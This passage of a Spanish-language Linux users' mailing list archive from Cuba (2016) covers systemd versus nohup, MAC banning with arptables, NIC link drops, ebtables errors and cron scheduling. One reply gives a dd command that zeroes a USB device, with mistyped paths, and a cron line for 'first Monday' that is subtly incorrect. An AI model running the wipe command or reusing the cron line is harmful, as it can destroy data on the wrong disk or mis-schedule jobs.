que serviría, pero lamentablemente tiene poco o nada que ver con el 
tiempo de vida del paquete en segundos, pues en su lugar establece los 
saltos máximos permitidos a través de enrutadores.


Concretamente, me gustaría lograr que los paquetes entrantes por 
protocolo TCP con destino al puerto 80 y estado de conexión nuevo (NEW) 
cambien su TTL a 20 segundos, pero solo esos. Al resto de los paquetes 
no me interesa modificarles el TTL.


¿Alguien sabe cómo lograrlo, sea con iptables o alguna otra cosa? 
Debería haber una forma, pero aun no la he encontrado.


Saludos, Hugo

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-20 Por tema Hugo Florentino

On Wed, 20 Jul 2016 12:43:32 -0400, låzaro wrote:

te lo advertí, no hagas más resistencia al cambio



No gracias, untarse vaselina e incliinarse no es un método aceptable 
para mí. :)



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-20 Por tema Hugo Florentino

On Wed, 20 Jul 2016 10:03:45 -0400, Servilio Afre Puentes wrote:

On Tue, Jul 19 2016, Hugo Florentino wrote:


On Tue, 19 Jul 2016 11:39:28 -0400, Servilio Afre Puentes wrote:

On Tue, Jul 19 2016, Hugo Florentino wrote:

Yo para escritorio uso Manjaro con OpenRC y tampoco tengo 
problemas.
El problema es que systemd cada vez se arraiga más en el kernel y 
va

creando dependencias cada vez más difíciles de reemplazar


¿En el núcleo? ¿Cómo cuales?


pues segun he leido en diversos sitios, cuando actualmente uno 
intenta
reemplazar systemd por otras alternativas no siempre todo funciona 
al

100% porque hay paquetes que actualmente tienen dependencias de
systemd.


Sí, esto es cierto. Hasta ahora esto lo he visto en KDE y GNOME[1], q
han comenzado a usar la interfaz de logind, según parece por buenas
razones, como tener un manejo de sesiones q funcione igual para todos
los ambientes de escritorio.


con cada nueva versión del kernel que sale, la cosa aparentemente se
va haciendo más difícil para prescindir de systemd


De nuevo, núcleo ≠ aplicaciones, no hay nada en el núcleo q dependa 
de

systemd.


Me refiero a que systemd se ha integrado al kernel y a medida que va 
pasando el tiempo Linux va perdiendo parte de su modularidad.


Hasta hace poco uno decía: no te gusta este shell, usa este otro
o cambia este entorno de escritorio por este otro
o este sistema de inicializacion por este otro

Pero con las actuales dependencias de systemd, si este falla o 
simplemente no te gusta, con qué lo reemplazas?


Por otra parte, la actitud del programador principal (my way or the 
highway) personalmente me disgusta. Solo por eso prefiero usar otra 
cosa, porque con esos tipos uno nunca sabe que esperar.


Por una cuestión de practicidad no me queda mas remedio que aprender a 
convivir con systemd, cuando fuese necesario, pero aunque inicialmente 
me gustó la idea del proyecto, actualmente le tengo una profunda 
aversión.



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] sobre clientes Ltel & gnu+linux

2016-07-20 Por tema Hugo Florentino

On Tue, 19 Jul 2016 09:52:33 +0200, Raphael Burquet wrote:

hola people

se instalo debian 7 y 8 en el host y cuando levantan los clientes
quedan desabilitados los puertos usb de los mismos..


alguien ha tropezado con esto...!!!



Intenta agregando los usuarios al grupo plugdev:

sudo usermod -aG plugdev elusuario

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-19 Por tema Hugo Florentino

On Tue, 19 Jul 2016 11:39:28 -0400, Servilio Afre Puentes wrote:

On Tue, Jul 19 2016, Hugo Florentino wrote:


Yo para escritorio uso Manjaro con OpenRC y tampoco tengo problemas.
El problema es que systemd cada vez se arraiga más en el kernel y va
creando dependencias cada vez más difíciles de reemplazar


¿En el núcleo? ¿Cómo cuales?


pues segun he leido en diversos sitios, cuando actualmente uno intenta 
reemplazar systemd por otras alternativas no siempre todo funciona al 
100% porque hay paquetes que actualmente tienen dependencias de systemd. 
con cada nueva versión del kernel que sale, la cosa aparentemente se va 
haciendo más difícil para prescindir de systemd





, de modo que si las cosas siguen como van, no se hasta que punto
pueda una distribución seguir usando linux sin systemd. Ultimamente
hay quienes sugieren nada menos que para solucionar los problemas de
compatibilidad systemd debe pasar al estándar POSIX!


No creo q suceda, desde el anuncio original[1] quedó claro:

  "It should be noted that systemd uses many Linux-specific features,
  and does not limit itself to POSIX. That unlocks a lot of
  functionality a system that is designed for portability to other
  operating systems cannot provide."



No dije que systemd se fuese a circunscribir a POSIX, sino que habia 
quienes estaba pidiendo que integraran a POSIX todos los estándares que 
aporta systemd, que igual es poco probable pero que haya personas 
pidiéndolo me parece preocupante.



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-19 Por tema Hugo Florentino

On Mon, 18 Jul 2016 21:12:40 -0500, Yoander Valdés Rodríguez wrote:

On 18/07/16 20:27, Hugo Florentino wrote:
Hay quienes dicen que dentro de poco tendrán que integrarlo en libc. 
A

veces me pregunto si tendré que mudarme a BSD.


También puedes echarle un vistazo a Alpine
(http://www.alpinelinux.org/) yo lo estoy usando junto con docker 
para

correr mysql, php y nginx hasta ahora todo ok.


Yo para escritorio uso Manjaro con OpenRC y tampoco tengo problemas.
El problema es que systemd cada vez se arraiga más en el kernel y va 
creando dependencias cada vez más difíciles de reemplazar, de modo que 
si las cosas siguen como van, no se hasta que punto pueda una 
distribución seguir usando linux sin systemd. Ultimamente hay quienes 
sugieren nada menos que para solucionar los problemas de compatibilidad 
systemd debe pasar al estándar POSIX!


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-18 Por tema Hugo Florentino

On Mon, 18 Jul 2016 18:57:51 -0400, låzaro wrote:

no veo tu necesidad de usar systemd-run, por que no usas una unit
normal (no oneshot)



Errata:

En realidad lo estoy lanzando así (se me olvidó poner la parte 
relacionada con el tipo):


sudo /usr/bin/systemd-run --service-type=oneshot /usr/bin/nohup 
/usr/local/bin/elscript > /dev/null &


Imagino que funcione en primer lugar porque nohup está diseñado para 
lanzar procesos de fondo, y quizás por haber deshabilitado antes la 
preferencia de terminar procesos de fondo.


Pero la verdad que systemd cada vez se mete mas en lo que no le 
corresponde, en este caso solo porque Gnome no se comportaba 
correctamente (nada raro) rompió la compatibilidad con el funcionamiento 
estándard de programas como nohup.


Hay quienes dicen que dentro de poco tendrán que integrarlo en libc. A 
veces me pregunto si tendré que mudarme a BSD.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] OT: prueba envio de paloma mensajera

2016-07-18 Por tema Hugo Florentino

On Tue, 19 Jul 2016 01:07:42 +0200, Manuel Mely wrote:

Esto es una paloma enviada desde bien lejos a ver si llega o es
cazada antes de llegar a su destino :)



Parece que finalmente los cazadores estan ocupados en piezas mayores.
O también podría ser simplemente que no les asignaron petróleo para sus 
4x4 ;)


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-18 Por tema Hugo Florentino

On Mon, 18 Jul 2016 18:57:51 -0400, låzaro wrote:

no veo tu necesidad de usar systemd-run, por que no usas una unit
normal (no oneshot)



Hmm.. preferiría ahorrarme tener que escribir una unit. Para que me 
entiendas mejor:
Tener que crear una unit solo para lanzar un script me molesta tanto 
como (si mi memoria no me falla) a ti estar obligado a usar una función 
main en C y derivadas. ;)


Creo que finalmente resolví así:
sudo systemd-run nohup /usr/local/bin/elscript > /dev/null &

Hasta ahora no se ha detenido el proceso, y los hackers estan siendo 
mantenidos a raya :)


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Fw: Una vulnerabilidad de más de 20 años en Windows [Hispasec @unaaldia]

2016-07-18 Por tema Hugo Florentino

On Mon, 18 Jul 2016 15:25:19 -0400, Ulises Gonzalez wrote:

On 07/18/2016 02:14 PM, låzaro wrote:

[watering_hole_blog]
Investigadores de Vectra Networks han descubierto una vulnerabilidad 
que
llevaba 20 años escondida en los sistemas operativos de Microsoft, 
desde la
época de Windows 95. El problema reside en el software Windows Print 
Spooler
(cola de impresión Windows) encargado de la administración de 
impresoras

disponibles y la impresión de documentos.



jajajaj, para que luego digan que Windows 7 fue reescrito desde 
cero...


¿Por que no? Todo depende de la interpretación de "desde cero" que uno 
tenga.
Puede que para Microsoft, el proceso de copiar código de una unidad 
vieja en una nueva agregando algunos cambios cosméticos se considere una 
reescritura desde cero. ;)
Según las malas lenguas era una práctica común en los tiempos en que 
Billy the Kid y colegas buscaban trozos de código en los cestos de 
basura de IBM y otras poderosas, quizás su intepretación de este término 
comenzó en aquel momento y simplemente quedó para la posteridad, 
buajajajaja! (lease como risa malévola).


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Ayuda con script

2016-07-18 Por tema Hugo Florentino

On Mon, 18 Jul 2016 16:19:00 +0200, Yamilet wrote:

Hola listeros necesito crear un script que me premita descargar
actualizaciones para antivirus y esto lo haria desde un sitio interno
que no requiere proxy y otro del que si requiero proxy por favor
ayudenme??


Esto me recuerda un poco la fábula de Esopo sobre Hércules y el 
carretero, jeje.


A ver, ¿que has adelantado hasta ahora?

Al menos, podrías proporcionar algunos detalles, por ejemplo:
¿Que herramienta pretendes usar para descargar las actualizaciones, que 
estructura tienen (¿son muchos archivos sueltos o uno solo comprimido?), 
en que tipo de protocolo se hospedan, que shell utilizas en el equipo 
del cual pretendes descargarlas?, etc.


Claramente que todo esto es obvio para ti, pero nosotros aun no podemos 
leer las mentes ;)



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] systemd y script con nohup

2016-07-18 Por tema Hugo Florentino

On Mon, 18 Jul 2016 14:15:27 -0400, låzaro wrote:

debes crear una unit del tipo OneShoot



No me parece lo que busco.

oneshot: This type indicates that the process will be short-lived and 
that systemd should wait for the process to exit before continuing on 
with other units. This is the default when Type= and ExecStart= are not 
set. It is used for one-off tasks.


Después de leer un poco más la documentación, creía que un posible 
sustituto de una típica invocación de un script persistente mediante 
nohup podría ser este:


systemd-run --service-type=forking /usr/local/bin/elscript > /dev/null

Sin embargo tras unas pruebas, parece que systemd también lo termina 
tras unos minutos.




--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Ayuda urgente

2016-07-18 Por tema Hugo Florentino
Echa una ojeada al tutorial de NSD que puse en la wiki [1] que aunque 
no sea especificamente sobre bind, ahi explico bien la configuracion de 
las zonas.


Saludos, Hugo

PD. En el futuro, ponle un asunto mas descriptivo a tus mensajes, no 
siempre uno tiene tiempo para abrir todo lo que simplemente dice 
"ayuda".


[1] 
https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:nsd_como_alternativa_a_bind


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

[Gutl-l] systemd y script con nohup

2016-07-18 Por tema Hugo Florentino

Hola colegas,

Hace poco me mordió el perro de systemd >= v230 terminando por defecto 
tareas de fondo.


Sucede que a raiz de unos intentos de hackeo a una wifi, decidí 
preparar un script que realiza regularmente ciertas verificaciones, y 
pretendía que corriera permanentemente lanzándolo con nohup.


Desafortunadamente, systemd comenzó a cerrar el script y aunque ya 
descomenté KillUserProcesses=no en /etc/systemd/logind.conf, me gustaría 
saber cual sería la forma "correcta" de lanzar un script persistente 
según systemd, quizás mediante una unit.


Como el cambio de política de systemd es relativamente reciente, no hay 
aun mucha información actualizada al respecto en internet.


Tengo entendido que de no tocarse /etc/systemd/logind.conf podría 
evitarme usar una unit y al mismo tiempo ver cualquier error si lanzo el 
proceso así:


systemd-run nohup elscript > /dev/null &

Pero igual para tener la info completa me gustaría saber como preparar 
una unit.


El script en cuestión corre usando dash y solo revisa regularmente las 
trazas de iptables y de encontrar alguna mac que no haya recibido un 
lease en el dhcp, la banea mediante arptables (ebtables finalmente no me 
funcionó).


Todo esto es en Debian Jessie x86-64.

Saludos, Hugo

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] USB y proteccion contra escritura

2016-07-12 Por tema Hugo Florentino

On Mon, 11 Jul 2016 12:22:41 -0400, co...@crearq.co.cu wrote:

Hola

Como puedo quitarle la protección contra escritura a un usb kingston 
de
32gb el sistema de archivos que tiene es ntfs, las soluciones que he 
visto

es para windows y yo uso linux.

Alguna herramienta ??

He buscado pero nada, tengo Debian 8

Salu2


Asumiendo que la memoria no ha alcanzado la capacidad de ciclos de 
escritura de su vida útil (que parece ser el caso), podrías intentar 
recuperarla con dd


Por ejemplo, si tu sistema detecta la memoria como /dev/sdb1, podrías 
hacer algo como esto:


sudo umount /dev/sdb1
sudo dd if=dev/zero of=/devsdb bs=1M count=16 && sync

Con esto deberías eiminar la tabla de particiones, y la memoria debería 
quedar lista para formatearla de la manera que elijas.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

[Gutl-l] problema con ebtables

2016-07-11 Por tema Hugo Florentino

Hola, colegas.

Hace un momento intentaba probar una regla como esta:

sudo ebtables --concurrent -A FORWARD -i eth1 -d 0a:1b:2c:3d:4e:5f -j 
DROP


Sin embargo, observen la salida de error del comando:

Unable to update the kernel. Two possible causes:
1. Multiple ebtables programs were executing simultaneously. The 
ebtables
   userspace tool doesn't by default support multiple ebtables programs 
running
   concurrently. The ebtables option --concurrent or a tool like flock 
can be
   used to support concurrent scripts that update the ebtables kernel 
tables.

2. The kernel doesn't support a certain ebtables extension, consider
   recompiling your kernel or insmod the extension.

La primera causa posible sencillamente no es el caso.
No solo ejecutaba la única instancia de ebtables, sino que como ven, 
utilicé además el parámetro de concurrencia.


En cuanto a la segunda posible causa, no creo que esa línea utilice 
ninguna extensión de ebtables.
De todas maneras, para cerciorarme, ejecuté el comando más sencillo que 
se me ocurrió:


sudo ebtables -P INPUT ACCEPT

Aun con algo que supuestamente no usa nada más que funcionalidad 
integrada por defecto, el comando falla con el mismo mensaje de error 
anterior.


Ignoro que puede estar pasando, probablemente en alguna actualización 
del kernel surgió alguna incompatibilidad con ebtables, me interesaría 
conocer si esto mismo ocurre en otras distribuciones.


Esta es la salida de mi `uname -a`:
Linux $MIHOSTNAME 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u2 
(2016-06-25) x86_64 GNU/Linux


Y esta es la salida de `ebtables -V`
ebtables v2.0.10-4 (December 2011)

P.D. Mi impresión es que aunque Debian recientemente habrá ganado algo 
de frescura, también ha perdido calidad desde que renunciaron al 
principio de liberar paquetes en la rama estable solo cuando estén todos 
razonablemente probados y listos.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Una duda de wordpress

2016-07-11 Por tema Hugo Florentino

On Fri, 8 Jul 2016 11:38:33 -0400, Ulises Gonzalez wrote:

Hola

Tengo un sito web hecho en Wordpress, para mantener el inventario de
unas m'aquinas, pero el administrador anterior no dej'o un how-to de
como usar el sitio y me dieron la tarea de administrar el sitio y
adicionar nuevas m'aquinas, de momento he reseteado la clave de
administrador de Wordpress, tambi'en tengo acceso a la base de datos
que esta referenciada en el archivo wp-settings.php de  la raiz de
wordpress, pero para mi sorpresa ya he buscado en toda la base de
datos que por suerte es pequenha pero no veo nada de la informaci'on
que muestra el sitio, alguna idea de donde buscar o que debo hacer, 
he

intentado editar las p'aginas desde la administraci'on de Wordpress,
pero no he logrado ver el c'odigo de ninguna p'agina por lo cual no 
se

de donde esta sacando la info que muestra el sito

Alguna idea?? todo es bienvenido




Normalmente las entradas van en una tabla llamada ${prefijo}_posts 
donde ${prefijo} es usualmente wp, pero hay plugins que permiten 
cambiarlo.
Si el contenido no está ahí, puede que lo hayan agregado en archivos 
estáticos (es atípico pero wordpress también lo permite), prueba 
haciendo un grep.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] duda sobre enlace cayendose

2016-07-07 Por tema Hugo Florentino
Update: comparto aquí algunas novedades en caso que puedan resultar 
útiles para alguien con un problema similar.


Después de algunas búsquedas, descubrí en un bug de launchpad [1] que 
aparentemente el firmware de Broadcom tiene sus problemas con el 
highdma.


Primero verifiqué si era mi caso:

sudo ethtool -k eth1 | grep highdma

Efectivamente, el valor venía activado por defecto, así que pasé a 
desactivarlo:


sudo ethtool -K eth1 highdma off

En el caso de Broadcom, los cambios aparentemente no persisten al 
reiniciar, de modo que agregué un archivo de reglas de udev como 
sugieren, adaptándola a la combinación VENDOR:DEVICE de mi equipo, este 
es el contenido:


ACTION=="add", SUBSYSTEM=="net", ATTRS{vendor}=="0x14e4", 
ATTRS{device}=="0x1655", RUN+="/sbin/ethtool -K %k highdma off"


Al menos hasta el momento, el error no ha vuelto a ocurrir, esperemos 
que siga así.


Saludos, Hugo

https://bugs.launchpad.net/bugs/1447664

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] duda sobre enlace cayendose

2016-07-05 Por tema Hugo Florentino

On Mon, 4 Jul 2016 19:56:29 -0400, låzaro wrote:

mira a ver que módulo se usa como driver de la red, ponlo en lista
negra y con suerte, cargará otro


Si fuese el caso, fallaría para ambas interfaces por igual, pero rara 
vez sucede algo asi con eth0



Revisa el cron! No sea que tengas algo que involucre reiniciar
networking o algo así


De hecho puede que un script que tengo esté influyendo, ya sustituí 
unas líneas a ver que pasa.
Lo que me llama la atención es que antes el script estaba corriendo 
igual y este problema no parecía ocurrir, me mantendré revisando los 
logs a ver si la cosa mejora.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] duda sobre enlace cayendose

2016-07-05 Por tema Hugo Florentino

On Mon, 4 Jul 2016 16:40:11 -0400, Arian Molina Aguilera wrote:

[...]
Comprueba que características tiene habilitada la nic con ethtools, y
desactiva la que no creas necesario o no tengas soporte. Y nos 
cuentas

si el problema se soluciono.



Bueno, de momento he deshabilitado EEE y WOL, pero no se que otra cosa 
podría sobrar porque no estoy aun familiarizado con ethtool.
Alguna sugerencia de valores concretos que verificar y posiblemente 
deshabilitar?


En cuanto a la actividad, eth1 está conectada directamente al 
modem-router y el enlace tiene 512 kbps, asi que dudo que el tráfico por 
ahi sea superior al de eth0.



--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] duda sobre enlace cayendose

2016-07-04 Por tema Hugo Florentino
Update: el problema ocurre principalmente de madrugada, pero no 
exclusivamente. Tendré que revisar bien los cables (quizas poner puntas 
nuevas) para descartar.


@ELAV:
Negativo colega, la cosa no es con el enlace interno (que esta 
razonablemente bien cubierto por mis reglas de iptables) sino con el 
externo.


Incluso como se que los routers son vulnerables porque Etecsa les pone 
claves comunes, tomé algunas medidas y desde el propio router es 
imposible acceder al cortafuegos o a la red, salvo para devolver 
echo-reply, destination-unreachable, time-exceeded o parameter-problem, 
y esto si realmente tienen los estados RELATED o ESTABLISHED, y con 
límites tanto en tamaño del paquete como en la tasa de transferencia 
(llámenme paranoico si quieren, pero prefiero no jugármela). Pero se que 
Etecsa de vez en cuando hace modificaciones remotamente, de ahi mi 
pregunta.


@Arian:
Pues después de hacer unas búsquedas y ver que los server HP pueden 
tener problemas (este es un Proliant), instalé el paquete 
firmware-linux-nonfree después del upgrade (había olvidado mencionarlo), 
y recientemente volvió a ocurrir lo mismo de todas formas.


Lo curioso es que el enlace eth0 no está dando el mismo problema, y se 
supone que sea el mismo tipo de hardware, porque ambas interfaces vienen 
integradas de serie en este hardware.


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Una de Cron

2016-07-04 Por tema Hugo Florentino
Personalmente evito los scripts que crean archivos intermedios, pero 
indudablemente que hacer un arreglo permite prever días festivos y otras 
eventualidades.
El inconveniente es que lograr ese nivel de detalle generalmente 
implica intervención del usuario, y esto crea un riesgo de 
vulnerabilidad de capa 8  ;)


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] duda sobre enlace cayendose

2016-07-04 Por tema Hugo Florentino

On Sun, 3 Jul 2016 16:21:31 -0400, låzaro wrote:

socio eso suena a palo de hardware o a cable con falso contacto

cambiaste el cable?



Realmente no, pero lo extraño es que suceda solo durante la madrugada.

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Una de Cron

2016-07-04 Por tema Hugo Florentino

On Fri, 01 Jul 2016 16:14:30 -0400, Alberto José García Fumero wrote:

El vie, 01-07-2016 a las 11:24 -0400, Yoandy Madrazo Gómez escribió:
Hay alguna forma de ejecutar un script el primer día laborable de 
cada

mes?? Es para un sistema de salvas con backuppc.


Saludos, Yoandy



Guarda en un arreglo del script el listado de los días laborables, y 
haz

que el script compruebe cada día si la fecha se corresponde... ;-)
Digo yo...


Bueno, esa sería una forma pero realmente no es necesario llenar un 
arreglo con los días laborales del mes.


La solución que puse antes no cubría el caso de que el primer día del 
mes no sea lunes, así que por mero ejercicio intelectual hice el 
siguiente script:


#! /bin/sh

# Obtener el número del día en el mes
DIAMES=$(expr `date +%d` + 0)

# Obtener el número del día en la semana, del 1 al 7 (1 es lunes).
DIASEM=$(expr `date +%u` + 0)

# Variable para evaluación final
PRIMERDIALABORAL=0

# Evaluación para establecer el valor de la variable
if [ ${DIAMES} -eq 1 ]; then
  if [ 6 -gt ${DIASEM} ]; then
PRIMERDIALABORAL=1
  fi
elif [ ${DIAMES} -le 3 ]; then
  if [ 2 -gt ${DIASEM} ]; then
PRIMERDIALABORAL=1
  fi
fi

# Evaluar el valor de la variable
if [ ${PRIMERDIALABORAL} -eq 1 ]; then
  echo "Depuración: Este es el primer día laboral del mes."
  # Insertar aqui las acciones a tomar
else
  echo "Depuración: Este no es el primer día laboral del mes."
fi

exit 0


Noten que como mis sistemas no corren bash por defecto sino dash, en lo 
posible prefiero evitar las comparaciones de igualdad y favorezco las 
comparaciones por valores numéricos para que mis scripts sean más 
portables, pero obviamente que esto es una preferencia personal.


Saludos, Hugo


--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

[Gutl-l] duda sobre enlace cayendose

2016-07-02 Por tema Hugo Florentino

Hola colegas,

Esta madrugada tenía programado un script de lftp y estaba fallando, 
cuando me puse a ver las trazas observen que cosa curiosa me devolvio 
dmesg (eth1 es la salida al modem-router):


[   53.018980] tg3 :03:00.1 eth1: Link is down
[   79.208284] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full 
duplex
[   79.208288] tg3 :03:00.1 eth1: Flow control is on for TX and on 
for RX

[   79.208290] tg3 :03:00.1 eth1: EEE is disabled
[  138.074896] tg3 :03:00.1 eth1: Link is down
[  164.243009] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full 
duplex
[  164.243013] tg3 :03:00.1 eth1: Flow control is on for TX and on 
for RX

[  164.243014] tg3 :03:00.1 eth1: EEE is disabled
[  223.645947] tg3 :03:00.1 eth1: Link is down
[  249.901088] tg3 :03:00.1 eth1: Link is up at 100 Mbps, full 
duplex
[  249.901093] tg3 :03:00.1 eth1: Flow control is on for TX and on 
for RX

[  249.901095] tg3 :03:00.1 eth1: EEE is disabled

Por algún motivo esto estuvo ocurriendo entre las 2 y las 6 AM, luego 
se normalizó, pero no se si fue espontáneamente o después de haber hecho 
un upgrade, cosa que decidí como medida preventiva a raíz del fallo, y 
bueno también había desinstalado sysstat y por si acaso deshabilité EEE 
con ethtool, pero francamente dudo que estos hayan sido los causantes.


No habían tareas ejecutándose que consuman significativamente el 
enlace, salvo exim y el script de lftp; además, el equipo tiene buena 
capacidad de micro y memoria así que tampoco es por falta de recursos.


Ahora que lo pienso sí tengo un script que revisa cada unos minutos 
cualquier intento de acceso desde eth0 sin haber pasado primero por 
dhcp, en cuyo caso pone la mac en lista negra y hace un service 
networking reload, no se si esto influirá, pero en días pasados no 
existía este problema.


¿A alguien le ha ocurrido algo parecido?
Puede darse el caso que el enlace se caiga por trasteos en el 
modem-router por parte del ISP o un posible hacker?


Por cierto, el equipo corre con Debian Jessie x86_64

Saludos, Hugo

--
Este mensaje ha sido analizado por MailScanner
en busca de virus y otros contenidos peligrosos,
y se considera que est� limpio.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Una de Cron

2016-07-02 Por tema Hugo Florentino

On Fri, 1 Jul 2016 11:24:26 -0400, Yoandy Madrazo Gómez wrote:

Hay alguna forma de ejecutar un script el primer día laborable de
cada mes?? Es para un sistema de salvas con backuppc.


Saludos, Yoandy




Podrías hacerlo en crontab con algo como esto (para el primer lunes de 
cada mes):


*  *  1-7  *  mon  elusuario  /la/ruta/al/script

--
Este mensaje ha sido analizado por MailScanner
